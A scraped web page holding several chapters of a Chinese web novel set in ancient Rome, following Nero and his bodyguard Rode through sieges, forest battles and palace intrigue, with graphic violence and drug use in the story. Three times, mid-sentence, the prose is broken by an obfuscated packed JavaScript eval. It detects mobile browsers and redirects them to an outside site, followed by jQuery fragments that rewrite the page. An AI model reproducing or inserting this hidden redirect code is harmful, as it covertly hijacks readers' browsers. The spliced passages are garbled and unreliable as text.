“没有姓氏?!”雷珂惊诧。他的脸庞隐隐抽搐,刀疤愈发狰狞起来。
他将脸转向尼禄,阴沉地责怪道:“你居然会让一个来路不明的人做你的亲卫!”
尼禄容色阴森。他沉默半晌,眉目间浮现一丝复杂,但很快被他抑制下去。
“那又怎么样?”他镇定地为罗德辩护,“他是我的人!只要我想,我随时可以赋予他一个贵族的身份和姓氏……”
“胡闹!”雷珂暴躁地说。
他神色紧迫,一双悍匪气的双目死盯罗德。他满覆老茧的手在发颤,忧惧宛如冬日冰霜一样结上凶猛的脸孔。
“太像了……一样的黑发黑眼……”他怔怔地说,仿佛是在喃喃自语。
罗德了然,但不发一语。
雷珂厉声警告尼禄:“你可不要象你舅舅那样,栽在自己亲卫的手上!”
尼禄往前迈一步,将罗德掩在身后。他年轻的面庞透有一股微红的毅色。
“他有多么忠诚,只有我才明白。”他的声音十分刚毅。
雷珂瞪了罗德一眼,欲言又止,目光中有戒备的意味。
他停滞顷刻,重重地退去了,扬起一路浑浊的泥沙。
沉寂如乌云一般压在两人之上。
罗德将衣面上的泥灰拍掉,淡然地说:“如果您厌恶我来历不明,我随时可以离开……”
“不!我不要你离开我!”尼禄慌张起来。他哆嗦地抓住罗德的双手,恐惧犹如蛀虫般啃噬他的理智。
尼禄的心脏倏地砰砰直跳,脸庞浮现一片病态的潮红,整个人都被脆弱的气质包围了。他的害怕源自于灵魂,绝不是讨取怜悯式的故作姿态。
他用脸颊轻蹭罗德的手背,眉头在打颤,难受地说:“别说这种话……罗德……求你了……”
罗德惊愣一下,揽住他单薄的肩膀。
尼禄无力地靠着他,控制不住地哆嗦。他的惊恐超出常人的激烈,好象灵魂即将被抽离一样。
“我冷……罗德……”他因害怕而脊背发凉。
罗德给他披上披肩,声音低沉地说:“别害怕,我不会离开您的。”
尼禄面无血色,双眼死死闭合。他不能自持地哆嗦很久,才慢慢恢复平静。
……
在准备作战的日子里,尼禄开始刻苦地训练。
他学会使用刀剑,掌握一些浅显的搏斗技巧。为了增强力气,他大多数时候都骑着马,在大腿上绑着沙袋,有时他会在马背上阅读地图,制定一些军
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239641|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事路线。
面对这次关乎名誉的战役,他十分重视。
罗马军团这次所面对的敌人,是蛮夷的厄族人。
厄族深居森林之中,生性野蛮而凶悍,不服从罗马的管制。
茹毛饮血的厄族人,装备不如罗马军;然而勇于流血和作战,在与罗马军团大大小小的战役中,他们半赢半输。
克劳狄乌斯披着战甲,高耸的驼背躲在披肩下。他勾腰走动着,费力地掀开尼禄的营帐。
尼禄坐在营中,银灰色的锁子甲被阳光照射,泛出刺痛人眼的银光。
他银发银衣,精致的铁制军靴套住小腿,有一股属于军人的、英挺的气质。唯有羊绒的红披肩,是他浑身上下唯一的柔色。
克劳狄乌斯被银光刺得眯起小眼,步伐虚弱地迈进来。
“想好怎么行军了吗?尼禄。”他以衰老的嗓音说。
尼禄踩着铁靴走来,一路发出噔噔的轻响。他向皇帝行了礼,削直的肩膀被铁网包裹,自带一点铁血的意味。
“我制定了几条路线。”他把路线图递给皇帝,“但不一定都能派上用场。”
克劳狄乌斯仔细地研究起来,宛如老鼠的小圆眼发出精光。
“很不错。”他点头赞许,“以你的阅历和年龄,制定出这种路线实在是很难得。”
“这只是粗略的计划。”尼禄补充道,“也许还要变化。”
克劳狄乌斯翻动着路线图,“已经很详细了。这场战役的胜算很大。”
尼禄容色冰冷,被阳光照透的金眸透出一股狠光,有一些无情。
“我们要把厄族一网打尽。”他以沉着的口吻说,“包括小孩和妇女,一个都不留……”
克劳狄乌斯惊住。他滚圆的小眼睛瞥到尼禄可谓残忍的脸孔,本能地躲闪一下。
他磕磕巴巴地说:“军团要在明晚出征。你毕竟年轻而缺乏经验,在战场要听从我和雷珂的指令。”
“好。”尼禄敬重地点头。
克劳狄乌斯拿着路线图离开。
尼禄送走他,把暗红的羊毛斗篷披在身上,遮掩住浑身尖刺般的银光。
他舒了一口气,清瘦的脚踝一动,轻缓地走进罗德的营帐里。
罗德手持针线,对着烛火缝补一只破损的剑鞘,留下一排紧密整齐的针脚。
他侧过眼睛瞥向尼禄,几绺微翘的碎发垂坠而下,遮住他的视野。他用针尖撩到耳后,于是他光泽的红唇毕露,烛火映亮他柔美的唇珠。
他咬断丝线,将缝补好的剑鞘丢过去,被尼禄一把接住。
“套上剑试试。”他桀骜地交叠双腿,率性地笑道。
尼禄坐到他身边,“不用试了。我知道它一定很结实。”
他眉锋舒展,纤密的睫毛在烛光下投出浅影。他的脸部轮廓深邃,此时饱含一种刀剑打磨的、硬邦邦的意志。
罗德轻笑一下,“您过于信任我了。”
尼禄乖巧地凑近他,银发被镀上一层橘红的暖光。他细长的卧蚕是青春的少年人才会有的饱满。
“明天就要动身了。”他以一种忧思多虑的口吻说,“我没有亲临过战场,需要你跟在我的身侧……”
“当然!”罗德撑着下巴,“让我来教您怎么杀人。”
尼禄默声一笑,没有再多说什么。
25. 生死相依
高卢行省由大大小小的部落组成,宛如一盘散沙。这些部落通常会联盟,来共同对抗罗马。
出征之前,尼禄想出一个特殊的战法:把一个骑兵和一个弓箭手配对,同乘一只马匹。
开战时,骑兵带弓箭手进入射程,弓箭手跳下马,利用弓箭的远程火力,掩护骑兵进攻;而当需要转移时,骑兵会接走弓箭手,两人一起转移。
这种远近结合的战法,极大地提高军团的战斗能力。
罗马军团装备精良,再加上尼禄的新战术,获得了绝对碾压性的力量。
只用十天,罗马人就攻下了厄族的大部分领地,只剩这最后一块城池。
然而,在这关键时候,厄族的联盟部落忽起反抗。这无疑拉低了罗马的胜算。
无奈之下,克劳狄乌斯和雷珂分别带走一部分兵力,去平定其他地方的叛乱。
于是留给尼禄以攻城的,只有两万名疲惫的士兵,以及他的罗德。
脏污的锁子甲紧裹在尼禄身上。他骑着马,纤瘦的腰身紧绷,系着一柄饱蘸鲜血的长剑。一绺卷曲的额发如银烟般耷下来,将他阴鸷的眼光掩于后。
在这十天里,尼禄亲自参战。一种雄性的战斗魅力,满溢于他的身体之上。
罗德手握缰绳,骑马紧跟其后,宛如他的另一个影子。
两人身后即是两万大军。士兵手持盾剑,如黑浪般涌上道路。扬起的走尘如蒸汽般溢出在人缝之间,宛如一层黄雾。
队伍两侧是燃烧未竟的烟火,周遭已被大火夷为平地,浓厚的灰烬宛如黑泥,焦糊味能把人呛出眼泪。
——厄族人在逃亡时,为了断绝罗马军团的粮食供给,沿路将市镇、庄稼全部烧毁。
“最后的一场战斗。”罗德绑紧作战用的皮手套,美艳的双目放出肆意的黑光。
他的嗓音因为连续作战而微微沙哑。
尼禄指向前方,那里矗立一座死死闭合的城墙,好象一座死气的坟墓。
“这里易守难攻。三面都是沼泽,只有这一条路。”尼禄对照着地图说,“我的侦察兵告诉我,那道城墙里藏着厄族人大量的物资和兵锐!”
“他们在负隅顽抗。”罗德脸色深重。
两人的对话声几乎要被轰隆隆的行军声淹没。
尼禄苍黄的眼底映出前方的黑城墙,宛如硌进去的一块脏泥。
他高昂的眉骨之下皆是忧虑的阴影,“我们携带的粮草撑不了几天了。厄族人在拖延时间,他们想等军团饿得头晕眼花,再趁机突围!”
罗德嗅到一丝危险,面色冷如灰铁。他拔出长剑,寒光陡然照亮他刚极易折的脸廓。
“只要攻城成功,粮草的补给就会解决。”他紧迫地说,“如果不成功……能不能安然撤兵都是个问题!”
紧张宛如一层不结实的薄冰结在空气里,好象只要轻轻一戳,崩溃的态势就会一触即发。
很快就兵临城下。罗马军以树桩撞击城门,有的搭起梯子、企图攀进城墙。
厄族人有所对治。他们在城墙上架起投石车和弩车,往下投落重石和利箭,用削尖的木枪投刺罗马人。他们还把油烧得滚沸,浇在进攻而上的罗马人身上。
剑石密集如雨,好象一只重大的兽爪从天而降。罗马军团一时伤亡惨重。
居高临下的优势使厄族人很快就压制了进攻。
尼禄下令暂停攻城。厄族与罗马的对峙陷入了僵局。
他扫视一周,眉锋骤然紧锁,青春的气质间隐动着沉郁。
“我失去了一些兵力。”他有些烦躁。
军人被油烫得昏迷不醒,裸露的脸部尽是枯黄的水泡。有的连头颅都被石块砸成肉泥,只剩一具鲜血淋漓的无头尸。空气中蔓延着皮肉被油烫的糊味儿,浓烈的血腥气如同煮沸般滚动在鼻尖下。
罗德沉思一会,五官宛如凝固般深定。
“现在就建攻城塔吧。”他对尼禄说,“建得比他们的城墙还高,再用木轮车推过去,就能获得高处的优势。”
尼禄想了想,神情浮现一丝凝重。他明亮的银发被沙尘掩埋得十分暗钝。
“建塔会耗费很多兵力,厄族人会趁这个时候突围。”他语气沉重地说。
罗德笑笑,翻手一动,锋利的剑光如游龙一般逆行他的脸庞。他的五官过于明艳,即使在铺天盖地的沙石之中,都如高跃的虹光那样不可掩盖。
“那就让我带兵去克制他们!”他扬起一个自信的微笑,黑亮的眼眸散发着熊熊之火般的狂放。这一刻的罗德是无坚不摧的,从身到心都是。
尼禄象是被捏住命脉一样怔忡。他摇头阻止道:“不行!那样太危险了……”
“现在不是顾忌危险的时候!”罗德已经握起缰绳。他所散发的进攻性,从厚实的战甲之下逼射出来。
他用小腿捶打马匹,“您所要做的,就是尽快造出高塔,把那座城墙上的混蛋弄死!”
他没等尼禄作出反应,即刻就骑马掠过他。马匹长啸出一声尖利的嘶吼。
尼禄望着他渐渐远去的背影,罗德的黑影在他眼底从浓重的墨块慢慢化成一点黑光。
他愣一会,接着就象狂躁了一样,担忧的潮红从脖颈涨到他的眼角。他本性里的暴戾在体内膨胀,立刻就要占据他的理智。
“建塔!现在就建塔!”他厉声吩咐手下。
厄族人观察到罗马军团在建造器械,果然趁他们兵力分散的时候突围。
罗德带一帮铁骑,如巨浪般冲入呼啸而出的厄族军。
漫天遍野的箭雨如黑云般压下来,他举盾一挡,箭锋如瓢泼般砸上来,发出咚咚巨响。他就以刺猬般的盾牌作掩护,拦腰斩断几个厄族人的身体。直到他骑的马被射倒,他才一个翻身跳到地面,与汹涌的厄族人近身肉搏。
强敌环伺之中拳拳到肉,罗德挥汗如雨,杀得眼睛发红。他的耳边充斥着刀戟磨砺的尖刺声,眼前尽是齑粉和飞溅的血肉。
实际上他已身中数箭,但被他仿佛不知痛感地拔掉了。他已然把性命置于刀尖之上。
厄族人屡次突围皆遭失败,却如久割不止的杂草一样重新疯长出来。
战场的另一边,罗马人堆砌泥砖,筑起坚固的底层,再用木板支起一层层台面。他们将这种简易的攻城塔搬上木轮车。弓箭手提着箭和热油爬上高台,骑手推着木轮往城墙处逼近。
形势陡然逆转。
罗马军占据更高处,箭、石和沸油如遮天蔽日的鬼手般,覆向城墙上的厄族人。
厄族很快就死伤一片,宛如被辗轧的蚁群。绝境之中的他们别无选择,只能更加疯狂地突围。
负责克制突围的罗德就这样从中午持续作战到夜晚。
断肢残骸血淋淋地堆在地上,他的铁靴已沾上一层黏黏的血块。罗德松掉被他刺死的尸体,满脸脏污,疲惫地行走在血气浓烈的尸堆中间,黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239642|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色的战甲早就残破不堪。
他脚步绵软,双唇因失血而泛白。身心俱疲的他眼前发黑,呼吸逐渐微弱,刀锋般的脚步如被磨损似的有点发虚。
他以长剑作拐杖,走进一片比夜色还深的黑影里。
罗德警戒地扬起头,黯淡的黑眸闪过一丝犀亮。他正面撞上一个高壮的厄族人。
“就没个消停的时候。”罗德笑着自嘲一句。
战斗的号角在他们四目对视时拉响。
厄族人挥着刀斧,呼啸一声扫过,罗德沾血的黑发被刀风飒飒扬起。他以残损的剑刃抵挡进攻,剑斧相碰,划拉出一串激烈的火星,金属摩擦的声音尖利如刀割据耳侧。
厄族人也很疲倦,坚硬的块头象砖石一样块块隆起。他嘴里说着令人费解的蛮族语言,猛地跳跃而来,象一只自天落下的重锤。
罗德的视野已经不明。他感受到地面被厄族人踩得隐隐震荡,循着震荡的方向与他短兵相接。
他现在所能倚仗的,只有灵活的搏斗招式。在力量的比拼上,他处于绝对的下风。
厄族人一斧子削砍下去,被罗德如鬼影般躲过,斧刃扎进地面上的一具死尸。
罗德于此瞬间踩着斧柄而上,拼尽全力膝击他的下颚。
厄族人声嘶力竭地大吼一声,以铁饼般的手刀撞击他的脖颈。
罗德吐出一口鲜血。他完全失了力,意识不清地摔在地上,溅起一片狰狞而肮脏的血水。
厄族人往前迈两步,高举起沉钝的巨斧。罗德衰弱地眯着眼,斧影在他清亮的眼缝间挪动。
千钧一发之际,一只长剑猛地扎进厄族人的脸,在头骨里旋转一圈,再横着划出来。剑刃就从厄族人的鼻梁骨里扫出,半个头颅飞了出去。
只剩下半张脸的厄族人僵立着,血肉黏连着森白的脸骨,肥大的嘴唇还在神经性地抖动。他手里的斧子咣地砸在脚上,强壮的身体如山崩般倒了下去。
罗德虚弱的脸庞溅上一些血液和脑浆。他松懈下来,望到了一脸焦急的尼禄。
在远处的火光和银冷的月光之下,尼禄顶着一头剔透的银发,清瘦的剪影宛如降临的神明。
这一瞬间罗德的思绪无限倒回,追思到当年的尼禄。他的眼前逐渐泛起黑雾,意识如坠入深海般模糊。
罗德勉强咧开一个脆弱的微笑,迷迷糊糊地说:“尼禄……你来保护我了……”
尼禄慌张地跑来,溅起一路血水。慌乱裂开在他年轻的面庞,他的呼吸愈发紊乱。
罗德面如死灰,柔软的黑发散落在血泊里,浑身都被血液浸泡,十分狼狈。
他向来坚硬的身躯如被砸裂的海螺一样,从中透出最脆弱的内芯。
尼禄一下子跪倒在他身前。
“城破了吗……”微弱的问话从罗德口中溢散而出。
尼禄狂乱地点着头。他哆嗦着扶起罗德,唇齿打颤地说:“嗯……厄族人投降了……”
罗德气若游丝,轻闭着双眼说:“那就好……”
酸涩饱胀尼禄的心脏。他把罗德搂进怀里,双臂象禁锢一样圈住他失力的腰背。他眼睛发热,心脏如有刀剜一样疼痛。他的耳畔好象有雷霆鸣响,苦涩象无数根细针一样刺遍他的全身。
“我再也不让你受伤了……”他心疼地说,话语里夹杂着哆哆嗦嗦的气音。
罗德在他耳旁轻笑,“少矫情……”
尼禄已经泪流满面了。
26. 启蒙的轻响
昆汀的丧期已过,麦瑟琳娜从父亲家中搬回了皇宫。
出于女性的嫉妒,她逼迫手下所有的女奴喝下加有白铅的药水。这种药水会导致妇女不孕。
丧子和家族的压力,使这个女人暴躁更甚。
目光短浅的她经不起一点挫折,她愈发失去理智思考的能力。
安东尼打扮得油头粉面,在金发上涂抹东方香油。他拿起湿润的木条,蘸了蘸从胭脂虫卵提取的口红,均匀地抹在嘴唇上。他的衣饰是明艳的红与紫,油腻的脂粉气使他女里女气的。
麦瑟琳娜赤|裸着上身,撑着下巴侧躺在沙发。她松弛的胸脯垂落,火红的指甲一夹,往上提了薄得几乎透明的衣纱,光裸出一对僵白的小腿。
女奴以树脂油调合松香和蜡,抹在她的小腿和腋窝,为她脱了毛。
她皱着眉发出细微的呻|吟,象蜕皮的蛇一样挪了挪身体。
安东尼端着玫瑰花露走来,如虔诚的教徒般跪在她身侧。他保养得细嫩的手拿出喷壶,朝皇后的肌肤上喷洒花露。
麦瑟琳娜从鼻腔里发出满足的叹息。
她忽然顿住,纤薄的鼻翼鼓囊几下,象狗嗅闻到陌生气味一样机警起来。
“什么气味?”她板着脸问,语气很不善。
女奴清理干净脱毛膏,战战兢兢地回答:“……公主正在楼下招待朋友……”
麦瑟琳娜厌恶地冷哼。她扯过艳红的羊绒披肩,遮住微微松垂的皮肤。
“陪我下楼看看,安东尼。”她轻慢地说,“这股该死的大|麻味就象阴沟里的瘴气一样呛鼻!”
安东尼象黏油一样缠上来,谄笑着搀扶她,好象一只摇尾乞怜的狗。
两人悠悠地走到楼下,浓烈的大|麻气味瞬间象水泥般灌进鼻腔,这近乎是窒息一样的感受。
麦瑟琳娜掩鼻。透过毒性的层层浓烟,她看见了她的女儿。
屋大维娅象一只翻肚鱼一样躺仰在沙发,身边紧挨着一个花枝招展的女孩。那是她的朋友。
她倾倒蜡烛,手指颤抖着点燃银盒里的干草碎。
白烟浓得象牛奶一样溢出,有一股粘腻的香气。
屋大维娅连忙拿起木管,吸了一口。接着,餍足的笑容就象一头狂野的猪一般拱到她的脸上。她神经质地扭两下粗脖子,白烟罩住她发黄的牙齿,肥厚的嘴唇间吐出一串串烟圈。
她的朋友吸食完大|麻,四肢痉挛地抽动,脸上绽开怪异的笑容。
她们好象两只蠕动在泥沼里的、欢乐的蛆虫。
麦瑟琳娜抄起胳膊,鲜厉的嘴角隐隐抽动。
“滚出去!”她瞪着眼睛说,嗓音尖利得有如磨刀。
屋大维娅瞬间就清醒。她歪过脸,看见母亲时不由地打了个哆嗦。
她赔着笑脸坐起身,讨好般地将银盒和木管递过去。
“母亲……您快来尝尝这个。这是我的朋友从印度带来的,据说对耳痛很有效果……”
她说起话来还在急促地喘气,声音十分沙哑。
一旁的女孩转过身,晃了晃不清醒的头脑。她颤巍巍地坐起来,费劲地摆出一个端正的坐姿,小心翼翼地说:
“尊敬的皇后……您还记得我吗?皇宫里每年用到的玫瑰花,都是我们家族经营的……”
麦瑟琳娜额角的青筋弹动两下,刻有细纹的眼角泛红。她愤怒得嘴巴歪到一边,眉心骤然缩紧,挤压的眉眼间释放出浓重的凶意。
她突然跳过去猛掐女孩的脖子。
女孩惊吓一下,死命去掰开她的手。她拼命蹬着腿,窒息使她从脖子到额头皮肤紫红,脖间的血管如绦虫一样鼓起。
屋大维娅发出猪嚎似的尖叫,踉跄着跪倒麦瑟琳娜脚边,抱住她挂满宝石的脚踝,焦灼地亲吻着。
“我警告过你……”麦瑟琳娜阴狠地说,“皇宫不是低贱的商贩能进的地方!”
屋大维娅浑身发抖,卑微地说:“可她的父亲已经养马了……她是贵族骑士的女儿……”
麦瑟琳娜冷笑一阵,笑声如尖利的锯齿那般高高低低,象冥河的水流一样撞向墙壁、再激烈地弹回来。她的红唇咧开到近乎撕裂,手指深陷进女孩的咽喉,钢筋般纹丝不动。
身后的安东尼听得寒毛直竖,默默地打了个寒颤。
麦瑟琳娜拿过桌上的剪刀,猛扎进女孩的下腹。她勾起恶毒的阴笑,故意拧几下。
——她失去了孩子,就恨不得全世界的女人都做不成母亲。
女孩如被屠宰般地惨叫几声。她象一只牛蛙那样蹬踹着腿,即刻就疼昏过去。
屋大维娅猛地扑过去。她推开麦瑟琳娜,尖叫着拔出剪刀,鲜血迸溅她满脸。她酷似豌豆的小眼睛怔怔地望着鲜血,吓得哇一声哭出来。
麦瑟琳娜嘲笑一声,慢悠悠地站起身,甩掉手上的鲜血。
她垂着眼眸,嫌恶地翻了个白眼,讥讽道:“商贩的鲜血向来都是下贱,流得真是多!”
屋大维娅哭得浑身发抖,流着口水的嘴里发出呜咽。她的五官本就丑陋,哭泣起来攒成一团,好象一团被揉搓的面团。
“你已经疯了!自从昆汀一死,你就成了不可理喻的女巫!”她抱着她的朋友,流着眼泪骂道,“你看看你做了什么……你的理智已经被昆汀那只死猪嘴吃光了……”
麦瑟琳娜无谓地说:“带着你的商贩朋友快滚!”
奴隶们窸窸窣窣地迎过来,背起不省人事的女孩。
屋大维娅哭喊着,抹着眼泪,趔趔趄趄地退下去了。
安东尼媚笑着迎过去,为麦瑟琳娜端来一杯冰酒,帮她擦掉沾在手上的血。
“您别生气……”安东尼以矫揉造作的口吻说,“怒火是美丽最大的天敌。”
麦瑟琳娜喝光酒,粗暴地将空杯丢置一边。她坐到铜镜前,火红的指甲浮动,掏出首饰盒里专属于皇后的桂冠。
“我没法控制脾气……”她抚弄着桂冠说,“我的儿子死了,女儿又如此丑陋而愚笨。我的家族就象从山顶上滑落下来的一块石头,马上就要滚进泥里去了……”
“哦不要这么悲观,亲爱的……”安东尼假意笑着,“您可以收养一个男孩,培养他作为继承人……”
麦瑟琳娜摇摇头。她搓弄着指间有些干涸的血迹,阴沉着脸说:
“就算我要收养,也必须收养成年的男孩。用你那只装着葡萄酒的脑袋想想,一个思想独立的成年人,怎能甘心在登基后供我使唤?!”
安东尼识趣地闭嘴,十分忠诚地跪伏在她脚边。
麦瑟琳娜沉默半晌,变戏法似的,从腰间摸出一只银制圆柱。
银柱镶嵌着红宝石,外包一层兽皮,做工相当精致。
安东尼原本谄媚的微笑僵住,惊诧在他的脸庞迅速窜升。他的蓝眼珠在眼眶里颤抖,如有滔天巨浪在那里翻涌。
他倒吸口气,轻薄的嘴唇开合出不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239643|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连续的话语:“……传……传令节?!”
传令节是罗马的军事权杖,是用作调动兵马的凭证,具有与法律相同的效力。皇帝的传令节最高级,由黄金铸造而成;而将军们所持的传令节,多是银制之物。
“是我父亲的。”麦瑟琳娜愣愣地说,“我搬回宫时顺便偷走了它……”
她把玩着传令节,寒冷的银光打亮她失色的枯唇。她的眼睑尽染血迹,眼光有些癫狂,有一种鬼魂的、恍惚的气质,好象整个人都活在一个并不存在的世界里。
安东尼惊骇得直冒冷汗。
……
厄族人的投降很真诚,他们交出所有的粮草和女人。
因为这一讨好的行径,厄族的男人幸免于难,还可以作为奴隶继续存活。
罗马军团获得一定的粮草补给。尼禄安顿军团在城中休养,同时等待雷珂和克劳狄乌斯的下一步指令。
罗德身负重伤,撇去深及骨骼的刀口不说,还有两根肋骨轻微骨折。
医生用骨钳取出游离的碎骨渣,对伤口进行缝合。他嘱咐罗德要静养,不能剧烈活动。
于是罗德几乎时刻躺床上。他不穿上衣,受伤的胸膛束紧绷带,露出一截纤窄的腰腹。他的肩膀平直而骨感,也裸|露而出,凹陷的肩窝里投有暗影。
正在养伤的他百无聊赖,有时会在床上缝补战甲和剑鞘以打发时间。
身披红袍的尼禄掀开帐帘,手里拿着一只药盒。这种药由食醋和百里香油调制而成,具有抑制伤口感染的作用。
罗德靠在床头,极俊秀的眉眼转向尼禄。他肩膀和手臂光|裸,在烛火下泛着微黄。
他歪着脸,柔泽的红唇毕现,干净的眼帘上有两片轻羽,那是他卷翘的睫毛。
“回来了?”他笑着问。
尼禄呆愣一会,才反应过来说:“我今天统计了粮草的数量,还亲自参与了搬运……”
他拎起破开一道口子的衣领,对罗德展示说:“你瞧,我的衣领都被箱子的铁钩钩破了。”
罗德心不在焉。他抬起手臂招招手,示意尼禄过来。
他纤长的肌肉微微隆起,有一种典雅的韵味。
某种程度上,尼禄是被蛊惑着走过去的。
他挖出一坨药油,细腻地涂抹在罗德的伤处。他面色渐红,指肚轻微颤抖,在触摸罗德的皮肤时如有烫灼般的感受。
“伤口好深……”尼禄红着脸咕哝一句。
罗德笑笑:“还死不了。”
尼禄抚摸着他的肌肤,前额冒出一层薄汗。这层汗被烛光映亮,闪现出珠母贝内侧的彩色柔光。
罗德沉默地盯他一会,忽然伸手按住他的双肩,“别动。”他说。
尼禄怔怔地抬头望他。金棕的眼眸如有鎏金般的光色。
罗德拿过针线,倾身过去,缝合他破损的衣领。
他温暖的鼻息盘绕在尼禄的脖颈,成熟而半裸的身躯近在眼前。尼禄有一瞬间的、类似饥饿的感觉。
待到缝好之后,罗德凑近尼禄的脖颈,咬断了丝线。
那根丝线“嗒”地一声被咬断。
这声轻响具有某种难以启齿的、性启蒙的意味,触发了被压制着的邪恶,好象潘多拉之盒终究是被打开的那一刻。
异常多思的尼禄,竟然产生罗德在跟自己调情的错觉。
感情本就是荒谬而毫无道理之物,有些东西没必要定义得太清楚。
27. 战斗与柔情
战役还没有结束。厄族已被消灭,但与之联盟的部落还在顽抗。
总督雷珂所面临的叛乱最为激烈。他对抗的是以英勇善战而闻名的莱族。
已经输掉一场战役的雷珂,只得向攻城完毕的尼禄请求支援。
于是在五天后,尼禄率领军队,来到莱族驻扎的附近。
莱族居住在山上,四面环林。不同于它的盟友厄族,莱族更加聪明,善于因地制宜地用兵。
莱族人把小树上端截掉,从而使树的下端生长得更茂盛,还会补种坚硬的荆棘。这就使低矮的灌木丛异常旺盛,以骑兵为主力军的罗马军团很难发挥优势。
而莱族的主力军是步兵,十分擅长打伏击战,尤其在高树密布的森林里。
这会是一场有难度的战役。
黑硬的高树如钢锯般插进地里,阳光象薄薄的刀片一样从树缝间透进来。森林的荫蔽很浓重,即使是正午,都宛如遁入坟墓一般阴暗。湿冷的雾气蔓延,此时已入深秋,树木象被浸泡过似的湿润。
罗马军团得到休养和整肃,宛如熔化的铁水般进入森林。马蹄铁戈声惊飞林间的鸟兽。
高耸而密集的树木,硬生生将排列齐密的队伍割据开来,极大地制约行军的速度。
罗德戴着露指的皮手套,骑在马匹上。他重伤将愈,身体状况绝对算不上强健,有一种柔润又不失强硬的、近似于剑鞘的气质。
尼禄骑马凑过来。他银发银甲,被一束浅光照射出刺眼的光芒。而他纤密的眼睫和细长的卧蚕之下,就是灰暗的阴影。
“这场战役会很凶险。”他与罗德并肩,“你的伤没有完全好,所以不要单独行动……”
他顿了顿,眼里有不可自抑的、黏着的流光,“不要远离我的身边……”他低声说。
罗德轻点一下头,颇有应付的意味。
他冰澈的目光扫过四周,神色有一些凝重,“树与树的距离太窄,地上的荆棘又象钉子一样!我们的兵马在作战之前就已经受挫。”
尼禄细看绘制在羊皮纸上的地图,双唇紧紧抿合,黑暗的树荫挡去他半个年轻的面庞。
“军队只能暂时驻扎于此。”他沉重地说,“我们现在在这座山的下坡,莱族人就驻扎在对面的山上。两军之间,就只隔着一道深河谷。”
罗德思索片刻,眉眼间流荡一丝紧迫。他握紧缰绳,紧实的皮手套绷出咯吱的轻响。
尼禄叠好地图,被铁靴包缚的小腿夹紧马背。因为持续行军,他腿部的肌肉变得硬实一些,有一种军人才拥有的、坚|挺的意志。
“所幸莱族的人数少,只有不到三万。”他眼光幽邃地说,“他们的装备也不如我们的精良……”
“不要轻敌!”罗德保持警戒。一道薄刃般的阳光溜来,映过他险峻的眉眼。
他严厉地警告道:“小心他们的伏击!那群狡猾的蛮夷人最熟悉这里的环境。雷珂就是被突然出现的伏击中断了粮草……”
尼禄脸色凝重地点头,饱满的眼帘上尽是比荫蔽还深的阴暗。
罗马军团通常的队势,是兵马和辎重相间而行,也就是一队兵马后跟着一车辎重,辎重后再跟着另一队兵马。
由于伏击多半针对辎重,旨在损坏粮草和军械。罗马军这种分散的队势,就给莱族提供了机会。
为了对抗伏击,尼禄将队势作出调整:
辎重车被两侧兵马夹在中间,最后头由一支新兵团紧跟着断后。
尼禄最终挑选一块树木和荆棘较为稀疏的地方驻扎营地。
为了时刻提防,他命令各队士兵轮番休息和守夜;一有点动静,就能即刻得知。
到了夜晚,莱族人果然悄然而至。
他们好象一窝不敢暴露于阳光下、只敢在阴暗处活动的蛀虫。
警惕的罗马人立刻采取反击。箭宇一瞬间如织布一样穿梭。
罗德拿起一只轻便的小盾,将箭篓紧紧绑在后背。他调整了弓弦,硬实的皮手套在微弱的月光下漫射出镜面般的银光。
“让我跟你一起去。”尼禄提着长剑逼近他背后。
罗德回头。尼禄全副武装,他的胸膛由铁制的背甲护住,流线般的颈甲紧裹他细长的脖颈。尼禄的双腿是少年人独有的修长,此时由紧身的锁子甲包住。他的青春,他天生的唯我独尊,都被揉进罗德沉邃的黑眼睛里了。
罗德桀骜一笑:“那您最好能跟得上我!”
说完他就如幽灵一样跳上树了。
罗德浓黑的身影在树间忽隐忽现,射死一片莱族人。他速度极快,在密集的飞箭中来回闪躲。他的黑发随着跳跃的动作而飘逸,象一笔游动的黑墨。
一个健壮的莱族人象跳蛛一样跳到他身边。
一场近身格斗不可避免。
罗德跳到更高的树枝上,俯身一箭射穿莱族人的肩部。莱族人嘶吼着拨出箭,挥刀斩断他踩着的枝条。罗德在掉落时抓握枝干,身体在空中如车轮般回环一周,又跳回到树上。
四下里传来的交战声宛如擂鼓,带火的石块象星点般穿梭于森林中。
这次莱族人先发制人。
他嘴里喷溅出激动的口水,举刀挥砍过去。这一瞬间粗壮的刀刃倒映在罗德眼底。他以小盾抵挡,铁与铁摩擦砥砺出一道闪电般的火光。他们飞梭在枝干上战斗,树叶被蹬踩出沙沙的声响。
